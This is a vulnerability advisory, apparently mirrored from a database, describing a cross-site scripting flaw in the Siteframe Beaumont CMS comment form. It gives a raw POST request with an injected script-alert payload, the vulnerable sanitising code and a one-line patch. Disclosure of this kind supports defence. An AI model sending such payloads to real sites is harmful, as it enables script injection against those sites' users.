`Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability
####################################
Information of Software:
Software: Siteframe Beaumont 5.0.1a
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management
system designed for the rapid deployment of community-based websites.
With Siteframe,a group of users can share stories and photographs, create blogs,
send email to one another, and participate in group activities.
####################################
Bug:
Siteframe contains a flaw that allows a remote cross site scripting attack.
The vulnerability is found in the user comment page and the user can modify
the function GET and insert the XSS code
- http POST request
http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=Hi&_submitted=1
but we can modify the request POST in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitted=1
---------------------------------------------------------
Example:
you can insert in the text post an XSS code or you can modify the request in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=[XSS]&_submitted=1
---------------------------------------------------------
The bug is in this part of DataObject.class.inc
[...]
// strip html
if ($info['formatted'] == 'ANY')
; // anything is allowed
else if ($info['formatted'])
$val = strip_tags($val, config('allowed_html'));
else if ($info['type'] != 'xml')
$val = strip_tags($val);
[...]
- Patch
in includes/DataObject.class.inc, change this:
if ($info['formatted'] == 'ANY')
to this:
if (!strcasecmp($info['formatted'], 'ANY'))
####################################
Credit:
Author: Kiki
e-mail: [email protected]
web page: http://kiki91.altervista.org
####################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation